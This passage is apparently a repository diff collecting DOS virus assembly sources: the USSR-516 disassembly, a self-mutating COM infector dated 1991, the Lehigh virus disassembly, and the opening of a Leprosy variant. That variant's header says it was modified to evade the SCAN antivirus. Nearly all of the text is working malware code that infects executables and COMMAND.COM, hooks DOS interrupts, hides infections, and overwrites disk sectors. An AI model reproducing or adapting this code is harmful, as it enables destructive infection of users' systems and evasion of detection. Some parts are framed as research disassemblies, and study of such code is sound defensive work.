mov bx,0FFEEh ;FFEEh = -12h
iret
Execute: ;Execute
push ax ;Save registers
push cx
push es
push bx
push ds ;DS:DX -> filename
push dx ;save it on stack
push bp
mov bp,sp ;Set up stack frame
sub sp,0Ah ;Temporary variables
;[bp-A] = attributes
;[bp-8] = int 24 off
;[bp-6] = int 24 seg
;[bp-4] = file time
;[bp-2] = file date
sti
push cs
pop ds
mov ax,3301h ;Turn off ^C check
xor dl,dl ;(never turn it back
call int21 ; on. Bug???)
mov ax,3524h ;Get int 24h
call int21 ;(Critical error)
mov [bp-8],bx
mov [bp-6],es
mov dx,int24-start
mov ax,2524h ;Set to new one
call int21
mov ax,4300h ;Get attributes
call int21DSDX
jnc continue
doneinfect:
mov ax,2524h ;Restore crit error
lds dx,dword ptr [bp-8] ;handler
call int21
cli
mov sp,bp
pop bp
pop dx
pop ds
pop bx
pop es
pop cx
pop ax
jmp short callorig21 ;Call orig handler
continue:
mov [bp-0Ah],cx ;Save attributes
test cl,1 ;Check if r/o????
jz noclearattr
xor cx,cx
mov ax,4301h ;Clear attributes
call int21DSDX ;Filename in DS:DX
jc doneinfect ;Quit on error
noclearattr:
mov ax,3D02h ;Open read/write
call int21DSDX ;Filename in DS:DX
jc doneinfect ;Exit if error
mov bx,ax
mov ax,5700h ;Save time/date
call int21
mov [bp-4],cx
mov [bp-2],dx
mov dx,buffer-start
mov cx,4
mov ah,3Fh ;Read 4 bytes to
call int21 ;buffer
jc quitinf
cmp byte ptr ds:[buffer-start],0E9h;Must start with 0E9h
jne quitinf ;Otherwise, quit
mov dx,word ptr ds:[buffer+1-start];dx = jmploc
dec dx
xor cx,cx
mov ax,4201h ;go there
call int21
mov ds:[buffer-start],ax ;new location offset
mov dx,orig4-start
mov cx,4
mov ah,3Fh ;Read 4 bytes there
call int21
mov dx,ds:[orig4-start]
cmp dl,0E9h ;0E9h means we might
jne infect ;already be there
mov ax,ds:[orig4+2-start] ;continue checking
add al,dh ;to see if we really
sub al,ah ;are there.
jz quitinf
infect:
xor cx,cx
mov dx,cx
mov ax,4202h ;Go to EOF
call int21
mov ds:[buffer+2-start],ax ;save filesize
mov cx,204h
mov ah,40h ;Write virus
call int21
jc quitinf ;Exit if error
sub cx,ax
jnz quitinf
mov dx,ds:[buffer-start]
mov ax,ds:[buffer+2-start]
sub ax,dx
sub ax,3 ;AX->jmp offset
mov word ptr ds:[buffer+1-start],ax;Set up buffer
mov byte ptr ds:[buffer-start],0E9h;code the jmp
add al,ah
mov byte ptr ds:[buffer+3-start],al
mov ax,4200h ;Rewind to jmploc
call int21
mov dx, buffer-start
mov cx,4 ;Write in the jmp
mov ah,40h
call int21
quitinf:
mov cx,[bp-4]
mov dx,[bp-2]
mov ax,5701h ;Restore date/time
call int21
mov ah,3Eh ;Close file
call int21
mov cx,[bp-0Ah] ;Restore attributes
mov ax,4301h
call int21DSDX
jmp doneinfect ;Return
ussr516 ends
end stub
@@ -0,0 +1,278 @@
ussr516 segment byte public
assume cs:ussr516, ds:ussr516
org 100h
; Disassembled by Dark Angel of PHALCON/SKISM
; for 40Hex Number 7 Volume 2 Issue 3
stub: db 0e9h, 0, 0
db 0e9h, 1, 0, 0
; This is where the virus really begins
start:
push ax
call beginvir
orig4 db 0cdh, 20h, 0, 0
int30store db 0, 0, 0, 0 ; Actually it's int 21h
; entry point
int21store db 0, 0, 0, 0
beginvir: pop bp ; BP -> orig4
mov si,bp
mov di,103h
add di,[di-2] ; DI -> orig4
movsw ; restore original
movsw ; 4 bytes of program
xor si,si
mov ds,si
les di,dword ptr ds:[21h*4]
mov [bp+8],di ; int21store
mov [bp+0Ah],es
lds di,dword ptr ds:[30h*4+1] ; Bug????
findmarker:
inc di
cmp word ptr [di-2],0E18Ah ; Find marker bytes
jne findmarker ; to the entry point
mov [bp+4],di ; and move to
mov [bp+6],ds ; int30store
mov ax,5252h ; Get list of lists
int 21h ; and also ID check
add bx,12h ; Already installed?
jz quitvir ; then exit
push bx
mov ah,30h ; Get DOS version
int 21h
pop bx ; bx = 12, ptr to 1st
; disk buffer
cmp al,3
je handlebuffer ; if DOS 3
ja handleDBHCH ; if > DOS 3
inc bx ; DOS 2.X, offset is 13
handlebuffer:
push ds
push bx
lds bx,dword ptr [bx] ; Get seg:off of buffer
inc si
pop di
pop es ; ES:DI->seg:off buff
mov ax,[bx] ; ptr to next buffer
cmp ax,0FFFFh ; least recently used?
jne handlebuffer ; if not, go find it
cmp si,3
jbe quitvir
stosw
stosw
jmp short movetobuffer
handleDBHCH: ; Disk Buffer Hash Chain Head array
lds si,dword ptr [bx] ; ptr to disk buffer
lodsw ; info
lodsw ; seg of disk buffer
; hash chain head array
inc ax ; second entry
mov ds,ax
xor bx,bx
mov si,bx
lodsw ; EMS page, -1 if not
; in EMS
xchg ax,di ; save in di
lodsw ; ptr to least recently
; used buffer
mov [di+2],ax ; change disk buffer
; backward offset to
; least recently used
xchg ax,di ; restore EMS page
mov [di],ax ; set to least recently
movetobuffer: ; used
mov di,bx
push ds
pop es ; ES:DI -> disk buffer
push cs
pop ds
mov cx,108h
lea si,[bp-4] ; Copy from start
rep movsw
mov ds,cx ; DS -> interrupt table
mov word ptr ds:[4*21h],0BCh ; New interrupt handler
mov word ptr ds:[4*21h+2],es ; at int21
quitvir:
push cs ; CS = DS = ES
pop es
push es
pop ds
pop ax
mov bx,ax
mov si, 100h ; set up stack for
push si ; the return to the
retn ; original program
int24:
mov al,3 ; Ignore all errors
iret
tickstore db 3 ; Why???
buffer db 3, 0, 9, 0
int21:
pushf
cli ; CP/M style call entry
call dword ptr cs:[int30store-start]
retn ; point of int 21h
int21DSDX: ; For int 21h calls
push ds ; with
lds dx,dword ptr [bp+2] ; DS:DX -> filename
call int21
pop ds
retn
cmp ax,4B00h ; Execute
je Execute
cmp ax,5252h ; ID check
je CheckID
cmp ah,30h ; DOS Version
je DosVersion
callorig21: ; Do other calls
jmp dword ptr cs:[int21store-start]
DosVersion: ; Why????? ; DOS Version
dec byte ptr cs:[tickstore-start]
jnz callorig21 ; Continue if not 0
push es
xor ax,ax
push ax
mov es,ax
mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
; since midnight
and al,7 ; MOD 15
inc ax
inc ax
mov cs:[tickstore-start],al ; # 2-17
pop ax
pop es
iret
CheckID: ; ID Check
mov bx,0FFEEh ; FFEEh = -12h
iret
Execute: ; Execute
push ax ; Save registers
push cx
push es
push bx
push ds ; DS:DX -> filename
push dx ; save it on stack
push bp
mov bp,sp ; Set up stack frame
sub sp,0Ah ; Temporary variables
; [bp-A] = attributes
; [bp-8] = int 24 off
; [bp-6] = int 24 seg
; [bp-4] = file time
; [bp-2] = file date
sti
push cs
pop ds
mov ax,3301h ; Turn off ^C check
xor dl,dl ; (never turn it back
call int21 ; on. Bug???)
mov ax,3524h ; Get int 24h
call int21 ; (Critical error)
mov [bp-8],bx
mov [bp-6],es
mov dx,int24-start
mov ax,2524h ; Set to new one
call int21
mov ax,4300h ; Get attributes
call int21DSDX
jnc continue
doneinfect:
mov ax,2524h ; Restore crit error
lds dx,dword ptr [bp-8] ; handler
call int21
cli
mov sp,bp
pop bp
pop dx
pop ds
pop bx
pop es
pop cx
pop ax
jmp short callorig21 ; Call orig handler
continue:
mov [bp-0Ah],cx ; Save attributes
test cl,1 ; Check if r/o????
jz noclearattr
xor cx,cx
mov ax,4301h ; Clear attributes
call int21DSDX ; Filename in DS:DX
jc doneinfect ; Quit on error
noclearattr:
mov ax,3D02h ; Open read/write
call int21DSDX ; Filename in DS:DX
jc doneinfect ; Exit if error
mov bx,ax
mov ax,5700h ; Save time/date
call int21
mov [bp-4],cx
mov [bp-2],dx
mov dx,buffer-start
mov cx,4
mov ah,3Fh ; Read 4 bytes to
call int21 ; buffer
jc quitinf
cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
jne quitinf ; Otherwise, quit
mov dx,word ptr ds:[buffer+1-start]; dx = jmploc
dec dx
xor cx,cx
mov ax,4201h ; go there
call int21
mov ds:[buffer-start],ax ; new location offset
mov dx,orig4-start
mov cx,4
mov ah,3Fh ; Read 4 bytes there
call int21
mov dx,ds:[orig4-start]
cmp dl,0E9h ; 0E9h means we might
jne infect ; already be there
mov ax,ds:[orig4+2-start] ; continue checking
add al,dh ; to see if we really
sub al,ah ; are there.
jz quitinf
infect:
xor cx,cx
mov dx,cx
mov ax,4202h ; Go to EOF
call int21
mov ds:[buffer+2-start],ax ; save filesize
mov cx,204h
mov ah,40h ; Write virus
call int21
jc quitinf ; Exit if error
sub cx,ax
jnz quitinf
mov dx,ds:[buffer-start]
mov ax,ds:[buffer+2-start]
sub ax,dx
sub ax,3 ; AX->jmp offset
mov word ptr ds:[buffer+1-start],ax; Set up buffer
mov byte ptr ds:[buffer-start],0E9h; code the jmp
add al,ah
mov byte ptr ds:[buffer+3-start],al
mov ax,4200h ; Rewind to jmploc
call int21
mov dx, buffer-start
mov cx,4 ; Write in the jmp
mov ah,40h
call int21
quitinf:
mov cx,[bp-4]
mov dx,[bp-2]
mov ax,5701h ; Restore date/time
call int21
mov ah,3Eh ; Close file
call int21
mov cx,[bp-0Ah] ; Restore attributes
mov ax,4301h
call int21DSDX
jmp doneinfect ; Return
ussr516 ends
end stub
+498
View File
@@ -0,0 +1,498 @@
code segment
assume cs:code
org 100h
start:
jmp begin
org 200h
begin:
jmp short beg
FileSize dw 0E00h; 02h
int21vec dd 0 ; 04h
oldint13 dd 0 ; 08h
oldint24 dd 0 ; 0Ch
Date dw 0 ; 10h
Time dw 0 ; 12h
db 1 ; 14h
version dw 0 ; 15h - mutation status
beg:
call codenext
codenext:
pop si
mutation1:
cli
push ds
pop es
mov bp,sp
mov sp,si
add sp,3FEh-(offset codenext-offset begin)
mutation2:
mov cx,ss
mov ax,cs
mov ss,ax
pop bx
dec sp
dec sp
add si,offset mybeg-offset codenext
codeloop:
pop ax
xor al,bh
push ax
dec sp
cmp sp,si
jnc codeloop
mybeg:
mov ax,es
dec ax
mov ds,ax
add word ptr ds:[3],-082h
mov bx,ds:[3]
mov byte ptr ds:[0],5ah
inc ax
inc bx
add bx,ax
mov es,bx
mov ss,cx
add si,offset begin-offset mybeg
mov bx,ds
mov ds,ax
mov sp,bp
push si
xor di,di
mov cx,400h
cld
rep movsb
pop si
push bx
mov bx,offset inblock-offset begin
push es
push bx
retf
inblock:
mov es,ax
mov ax,cs:[2] ; File Size
add ax,100h
mov di,si
mov si,ax
mov cx,400h
rep movsb
pop es
xor ax,ax
mov ds,ax
sti
cmp word ptr ds:[21h*4],offset int21-offset begin
jne count
sub word ptr es:[3],-082h
test byte ptr ds:[46ch],11100111b
jnz efect1
push cs
pop ds
mov si,offset msg-offset begin
efect2:
lodsb
or al,0
jz efect3
mov ah,0eh
int 10h
jmp short efect2
efect3:
mov ah,32h
xor dl,dl
int 21h
jc efect1
call setaddr
call setint
mov dx,ds:[bx+10h]
mov ah,19h
int 21h
mov cx,2
int 26h
pop bx
call setint
efect1:
jmp quit
count:
add word ptr es:[12h],-082h
mov bx,ds:[46ch]
push ds
push cs
pop ds
push cs
pop es
mov byte ptr ds:[14h],1
and bh,80h
mov ds:[4ffh],bh
test bl,00000001b
jnz mut1
mov si,offset mutation1-offset begin
add si,ds:[15h]
lodsb
xchg al,ds:[si]
mov ds:[si-1],al
mut1:
test bl,00000010b
jnz mut2
mov si,offset mutation2-offset begin
add si,ds:[15h]
lodsw
xchg ax,ds:[si]
mov ds:[si-2],ax
mut2:
test bl,00000100b
jnz mut3
mov si,offset codeloop-offset begin
mov al,2
xor byte ptr ds:[si],al
xor byte ptr ds:[si+2],al
xor byte ptr ds:[si+3],al
mut3:
test bl,00001000b
jnz mut4
mov si,offset codenext-offset begin
mov di,400h
mov cx,offset codeloop-offset codenext-2
push si
push di
lodsb
cmp al,5eh
je jmp1
inc si
jmp1:
push cx
rep movsb
pop cx
pop si
pop di
cmp al,5eh
je jmp2
mov al,5Eh
stosb
rep movsb
mov al,90h
stosb
xor ax,ax
jmp short jmp3
jmp2:
mov ax,0C68Fh
stosw
rep movsb
mov ax,1
jmp3:
mov cs:[15h],ax
mut4:
mov ah,30h
int 21h
cmp ax,1e03h
jne nodos33
mov ah,34h
int 21h
mov bx,1460h
jmp short dos33
nodos33:
mov ax,3521h
int 21h
dos33:
mov ds:[4],bx
mov ds:[6],es
mov si,21h*4
pop ds
push si
push cs
pop es
mov di,offset intend-offset begin+1
movsw
movsw
pop di
push ds
pop es
mov ax,offset int21-offset begin
stosw
mov ax,cs
stosw
mov di,offset mybeg-offset begin
mov al,cs:[3ffh]
coderloop:
xor cs:[di],al
inc di
cmp di,offset coderloop-offset begin
jc coderloop
quit:
mov ah,62h
int 21h
push bx
mov ds,bx
mov es,bx
mov ax,100h
push ax
retf
;------------------------------------------------------------------------------
infect:
push si
push ds
push es
push di
cld
push cs
pop ds
xor dx,dx
call movefp
mov dx,400h
mov ah,3fh
mov cx,3
call Dos
jc infect4
xor di,di
mov ax,word ptr ds:[400h]
mov cx,ds:[0]
cmp cx,ax
je infect8
cmp al,0EBH ; near jmp
jne infect1
mov al,ah
xor ah,ah
add ax,2
mov di,ax
infect1:
cmp al,0E9h ; far jmp
jne infect2
mov ax,ds:[401h]
add ax,3
mov di,ax
xor ax,ax
infect2:
cmp ax,'MZ'
je infect4
cmp ax,'ZM'
jne infect3
infect4:
stc
infect8:
jmp infectquit
infect3:
mov dx,di
push cx
call movefp
mov dx,400h
mov ah,3fh
mov cx,dx
call Dos
pop cx
jc infect4
cmp ds:[400h],cx
je infect8
mov ax,di
sub ah,-4
cmp ax,ds:[2]
jnc infect4
mov dx,ds:[2]
call movefp
mov dx,400h
mov cx,dx
mov ah,40h
call Dos
infect6:
jc infectquit
mov dx,di
call movefp
push cs
pop es
mov di,400h
push di
push di
xor si,si
mov cx,di
rep movsb
mov si,400h+offset coderloop-offset begin
mov al,ds:[7ffh]
infect5:
xor ds:[si],al
inc si
cmp si,07ffh
jc infect5
pop cx
pop dx
mov ah,40h
call Dos
infectquit:
pop di
pop es
pop ds
pop si
ret
int21:
cmp ax,4b00h
je exec
cmp ah,3eh
je close
cmp ah,11h
je dir
cmp ah,12h
je dir
intend:
db 0eah,0,0,0,0
dir:
push si
mov si,offset intend-offset begin+1
pushf
call dword ptr cs:[si]
pop si
push ax
push bx
push es
mov ah,2fh
call dos
cmp byte ptr es:[bx],0ffh
jne dir2
add bx,7
dir2:
mov ax,es:[bx+17h]
and ax,1fh
cmp ax,1eh
jne dir1
mov ax,es:[bx+1dh]
cmp ax,0801h
jc dir1
sub ax,400h
mov es:[bx+1dh],ax
dir1:
pop es
pop bx
pop ax
iret
int24:
mov al,3
iret
Dos:
pushf
call dword ptr cs:[4]
ret
moveFP:
xor cx,cx
mov ax,4200h
call Dos
ret
exec:
push ax
push bx
mov byte ptr cs:[14h],0
mov ax,3d00h
call dos
mov bx,ax
mov ah,3eh
int 21h
pop bx
pop ax
intendjmp:
jmp short intend
close:
or byte ptr cs:[14h],0
jnz intendjmp
push cx
push dx
push di
push es
push ax
push bx
call setaddr
call setint
mov ax,1220h
int 2fh
jc closequit
mov ax,1216h
mov bl,es:[di]
xor bh,bh
int 2fh
mov ax,es:[di+11h]
mov cs:[2],ax
mov ax,es:[di+0dh]
and al,0f8h
mov cs:[12h],ax
mov ax,es:[di+0fh]
mov cs:[10h],ax
cmp word ptr es:[di+29h],'MO'
jne closequit
cmp byte ptr es:[di+28h],'C'
jne closequit
cmp cs:[2],0FA00h
jnc closequit
mov al,20h
xchg al,es:[di+4]
mov ah,2
xchg es:[di+2],ah
pop bx
push bx
push ax
call infect
pop ax
mov es:[di+4],al
mov es:[di+2],ah
mov cx,cs:[12h]
jc close1
or cl,1fh
and cl,0feh
close1:
mov dx,cs:[10h]
mov ax,5701h
call Dos
closequit:
pop bx
pop ax
pop es
pop di
pop dx
pop cx
call dos
call setint
retf 02
setaddr:
mov ah,13h
int 2fh
mov cs:[8d],bx
mov cs:[10d],es
int 2fh
mov cs:[12d],offset int24-offset begin
mov cs:[14d],cs
ret
setint:
push ax
push si
push ds
pushf
cli
cld
xor ax,ax
mov ds,ax
mov si,13h*4
lodsw
xchg ax,cs:[8]
mov ds:[si-2],ax
lodsw
xchg ax,cs:[10d]
mov ds:[si-2],ax
mov si,24h*4
lodsw
xchg ax,cs:[12d]
mov ds:[si-2],ax
lodsw
xchg ax,cs:[14d]
mov ds:[si-2],ax
popf
pop ds
pop si
pop ax
ret
msg:
db 'The leech live ...',0
db 'April 1991 The Topler.',0
org 0F00h
int 20h
code ends
end start

@@ -0,0 +1,315 @@
page 65,132
title The 'Lehigh' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'Lehigh' Virus º
; º Disassembled by Joe Hirst, July 1989 º
; º  º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
; Interrupt 21H routine
BP0010: PUSH AX
PUSH BX
CMP AH,4BH ; Load function?
JE BP0020 ; Branch if yes
CMP AH,4EH ; Find file file?
JE BP0020 ; Branch if yes
JMP BP0170 ; Pass interrupt on
; Load or find file function
BP0020: MOV BX,DX ; Get pathname pointer
CMP BYTE PTR [BX+1],':' ; Is a disk specified?
JNE BP0030 ; Branch if not
MOV AL,[BX] ; Get disk letter
JMP BP0040
; Is there a COMMAND.COM on disk?
BP0030: MOV AH,19H ; Get current disk function
INT 44H ; DOS service (diverted INT 21H)
ADD AL,'a' ; Convert to letter
BP0040: PUSH DS
PUSH CX
PUSH DX
PUSH DI
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV BX,OFFSET PATHNM ; Address pathname
MOV [BX],AL ; Store disk letter in pathname
MOV DX,BX ; Move pathname address
MOV AX,3D02H ; Open handle (R/W) function
INT 44H ; DOS service (diverted INT 21H)
JNB BP0050 ; Branch if no error
JMP BP0160 ; Restore registers and terminate
; Is COMMAND.COM infected?
BP0050: MOV BX,AX ; Move file handle
MOV AX,4202H ; Move file pointer function (EOF)
XOR CX,CX ; \ No offset
MOV DX,CX ; /
INT 44H ; DOS service (diverted INT 21H)
MOV DX,AX ; Copy file length
MOV FILELN,AX ; Save file length
SUB DX,2 ; Address last word of file
MOV AX,4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV DX,OFFSET BUFFER ; Address read buffer
MOV CX,2 ; Length to read
MOV AH,3FH ; Read handle function
INT 44H ; DOS service (diverted INT 21H)
CMP WORD PTR BUFFER,65A9H ; Is file infected?
JNE BP0060 ; Branch if not
JMP BP0080
; Infect COMMAND.COM
BP0060: XOR DX,DX ; \ No offset
MOV CX,DX ; /
MOV AX,4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV CX,3 ; Length to read
MOV DX,OFFSET BUFFER ; Address read buffer
MOV DI,DX ; Copy address
MOV AH,3FH ; Read handle function
INT 44H ; DOS service (diverted INT 21H)
MOV AX,[DI+1] ; Get displacement from initial jump
ADD AX,0103H ; Convert to address for COM file
MOV ENTPTR,AX ; Save file entry address
MOV DX,FILELN ; Get file length
SUB DX,OFFSET ENDADR ; Subtract length of virus
DEC DX ; ...and one more
MOV [DI],DX ; Put offset into jump instruction
XOR CX,CX ; Clear high offset for move
MOV AX,4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV AL,INFCNT ; Get infection count
PUSH AX ; Preserve infection count
MOV BYTE PTR INFCNT,0 ; Set infection count to zero
MOV CX,OFFSET ENDADR ; \ Get length of virus
INC CX ; /
XOR DX,DX ; Address start of virus
MOV AH,40H ; Write handle function
INT 44H ; DOS service (diverted INT 21H)
POP AX ; Recover infection count
MOV INFCNT,AL ; Restore original infection count
XOR CX,CX ; \ Address second byte of program
MOV DX,1 ; /
MOV AX,4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV AX,[DI] ; Get virus offset
ADD AX,OFFSET BP0180 ; Add entry point
SUB AX,3 ; Subtract length of jump instruction
MOV [DI],AX ; Replace offset
MOV DX,DI ; Address stored offset
MOV CX,2 ; Length to write
MOV AH,40H ; Write handle function
INT 44H ; DOS service (diverted INT 21H)
INC BYTE PTR INFCNT ; Increment infection count
CMP BYTE PTR INFCNT,4 ; Have we reached target?
JB BP0070 ; Branch if not
JMP BP0110 ; Trash disk
; Is disk A or B?
BP0070: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch
CMP BYTE PTR CURDSK,2 ; Is current disk A or B?
JB BP0080 ; Branch if yes
MOV BYTE PTR N_AORB,1 ; Set on "not A or B" switch
BP0080: MOV AH,3EH ; Close handle function
INT 44H ; DOS service (diverted INT 21H)
CMP BYTE PTR N_AORB,1 ; Is "not A or B" switch on?
JE BP0090 ; Branch if yes
JMP BP0160 ; Restore registers and terminate
; Disk not A or B
BP0090: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch
MOV BX,OFFSET PATHNM ; Address pathname
MOV AL,CURDSK ; Get current disk
ADD AL,'a' ; Convert to letter
MOV [BX],AL ; Store letter in pathname
MOV DX,BX ; Move pathname address
MOV AX,3D02H ; Open handle (R/W) function
INT 44H ; DOS service (diverted INT 21H)
JNB BP0100 ; Branch if no error
JMP BP0160 ; Restore registers and terminate
; Set infection count same as in current program
BP0100: MOV BX,AX
MOV AX,4202H ; Move file pointer function (EOF)
XOR CX,CX ; \ No offset
MOV DX,CX ; /
INT 44H ; DOS service (diverted INT 21H)
MOV DX,AX ; \ Address back to infection count
SUB DX,7 ; /
MOV AX,4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV CX,1 ; Length to write
MOV DX,OFFSET INFCNT ; Address infection count
MOV AH,40H ; Write handle function
INT 44H ; DOS service (diverted INT 21H)
MOV AH,3EH ; Close handle function
INT 44H ; DOS service (diverted INT 21H)
JMP BP0160 ; Restore registers and terminate
; Trash disk
BP0110: MOV AL,CURDSK ; Get current disk
CMP AL,2 ; Is disk A or B?
JNB BP0150 ; Branch if not
MOV AH,19H ; Get current disk function
INT 44H ; DOS service (diverted INT 21H)
MOV BX,OFFSET PATHNM ; Address pathname
MOV DL,[BX] ; Get drive letter from pathname
CMP DL,'A' ; Is drive letter 'A'?
JE BP0120 ; Branch if yes
CMP DL,'a' ; Is drive letter 'a'?
JE BP0120 ; Branch if yes
CMP DL,'b' ; Is drive letter 'b'?
JE BP0130 ; Branch if yes
CMP DL,'B' ; Is drive letter 'B'?
JE BP0130 ; Branch if yes
JMP BP0160 ; Restore registers and terminate
; Drive A
BP0120: MOV DL,0 ; Set drive A
JMP BP0140
; Drive B
BP0130: MOV DL,1 ; Set drive B
BP0140: CMP AL,DL ; Is this the same as current?
JNE BP0150 ; Branch if not
JMP BP0160 ; Restore registers and terminate
; Write lump of BIOS to floppy disk
BP0150: MOV SI,0FE00H ; \ Address BIOS (?)
MOV DS,SI ; /
MOV CX,0020H ; Write 32 sectors
MOV DX,1 ; Start at sector one
INT 26H ; Absolute disk write
POPF
MOV AH,9 ; Display string function
MOV DX,1840H
INT 44H ; DOS service (diverted INT 21H)
BP0160: POP DI
POP DX
POP CX
POP DS
BP0170: POP BX
POP AX
JMP CS:INT_21 ; Branch to original Int 21H
; Original Int 21H vector
INT_21 EQU THIS DWORD
DW 138DH ; Int 21H offset
DW 0295H ; Int 21H segment
; Entry point for infected program
BP0180: CALL BP0190 ; \ Get current address
BP0190: POP SI ; /
SUB SI,3 ; Address back to BP0180
MOV BX,SI ; \ Address of virus start
SUB BX,OFFSET BP0180 ; /
PUSH BX ; Save address of virus start
ADD BX,OFFSET FILELN ; Address file length
MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV [BX-1],AL ; Save current disk
MOV AX,[BX] ; Get file length
ADD AX,0100H ; Add PSP length
MOV CL,4 ; \ Convert to paragraphs
SHR AX,CL ; /
INC AX ; Allow for remainder
MOV BX,AX ; Copy paragraphs to keep
MOV AH,4AH ; Set block function
INT 21H ; DOS service
JNB BP0200 ; Branch if no error
JMP BP0220 ; Pass control to host
; Allocate memory for virus
BP0200: MOV CL,4 ; Bits to move
MOV DX,OFFSET ENDADR ; Length of virus
SHR DX,CL ; Convert to paragraphs
INC DX ; Allow for remainder
MOV BX,DX ; Copy paragraphs for virus
MOV AH,48H ; Allocate memory function
INT 21H ; DOS service
JNB BP0210 ; Branch if no error
JMP BP0220 ; Pass control to host
; Install virus in memory
BP0210: PUSH ES
PUSH AX ; Preserve allocated memory segment
MOV AX,3521H ; Get Int 21H function
INT 21H ; DOS service
MOV [SI-4],BX ; Save Int 21H offset
MOV [SI-2],ES ; Save Int 21H segment
POP ES ; Recover allocated memory segment
PUSH SI
SUB SI,OFFSET BP0180 ; Address back to start of virus
XOR DI,DI ; Target start of new area
MOV CX,OFFSET ENDADR ; \ Length of virus
INC CX ; /
REPZ MOVSB ; Copy virus to new area
POP SI
PUSH DS
MOV DX,[SI-4] ; Get Int 21H offset
MOV AX,[SI-2] ; \ Set DS to Int 21H segment
MOV DS,AX ; /
MOV AX,2544H ; Set Int 44H function
INT 21H ; DOS service
PUSH ES ; \ Set DS to ES
POP DS ; /
XOR DX,DX ; Interrupt 21H routine (BP0010)
MOV AX,2521H ; Set Int 21H function
INT 44H ; DOS service (diverted INT 21H)
POP DS
POP ES
BP0220: POP BX
PUSH ENTPTR[BX] ; Push COM file entry address
RET ; ...and return to it
PATHNM DB 'b:\command.com', 0 ; Pathname
BUFFER DB 7FH, 58H, 0BH, 0, 0 ; Read buffer
ENTPTR DW 0CB0H ; File entry address
N_AORB DB 0 ; "Not A or B" switch
INFCNT DB 0 ; Infection count
DB 0
CURDSK DB 0 ; Current disk
FILELN DW 5AAAH ; File length
DW 65A9H ; Infection indicator
ENDADR EQU $-1
CODE ENDS
END

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
File diff suppressed because it is too large Load Diff
+297
View File
@@ -0,0 +1,297 @@
; <LEPROSYB.ASM> - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It should be made into a .COM file before executing, with either
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
;
; This program has the potential to permanently destroy executable
; images on any disk medium. Other modifications may have been made
; subsequent to the original release by the author, either benign,
; or which could result in further harm should this program be run.
; In any case, the author assumes no responsibility for any damage
; caused by this program, incidental or otherwise. As a precaution,
; this program should not be turned over to irresponsible hands...
; (unlike people like us, that is).
;
;;-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-
;;
;; <LEPROSYC.ASM> - This virus is not really Leprosy-B. It is, in
;; fact, ALMOST the same. When I encountered the
;; source code and assembled it, I found, obviously
;; to my disappointment, that SCAN v77 could find
;; it. Since it is a self-encrypting virus, I knew
;; EXACTLY how to fix this problem (after all,
;; being part of McPhee's programs is a sure way to
;; know that your virus has been a big hit, but it
;; also means that it will soon meet a terrible end.
;; Presented with such a sad situation, I decided I
;; would modify the virus to give it one more shot
;; at the outside world. Not only that, but I will
;; make TWO new versions. This one, in particular,
;; will preserve the traditional length of 666, and
;; will only have a slight modification. You see,
;; since the virus encrypts itself, McPhee must go
;; on 1 or both of two paths. He must either use
;; the whole non-encrypted portion as an ID string,
;; or he must use the file offset where the value
;; for decrypting is normally stored, XOR it with
;; the rest of the program (this is how it encrypts
;; and decrypts itself), and then try to identify
;; the decrypted code as the virus. By changing
;; where the encryption value is stored in the non-
;; encrypted portion and putting a zero there in-
;; stead, (along with altering the primary instruc-
;; tions slightly), I have made it undetectable by
;; SCAN, despite the fact that it is (in all other
;; aspects) the same damn thing.
;; Have fun!
;; The BOOT SECTOR Infector...
;;
;; NOTE: Also, (in case you haven't already noticed) all of the changes
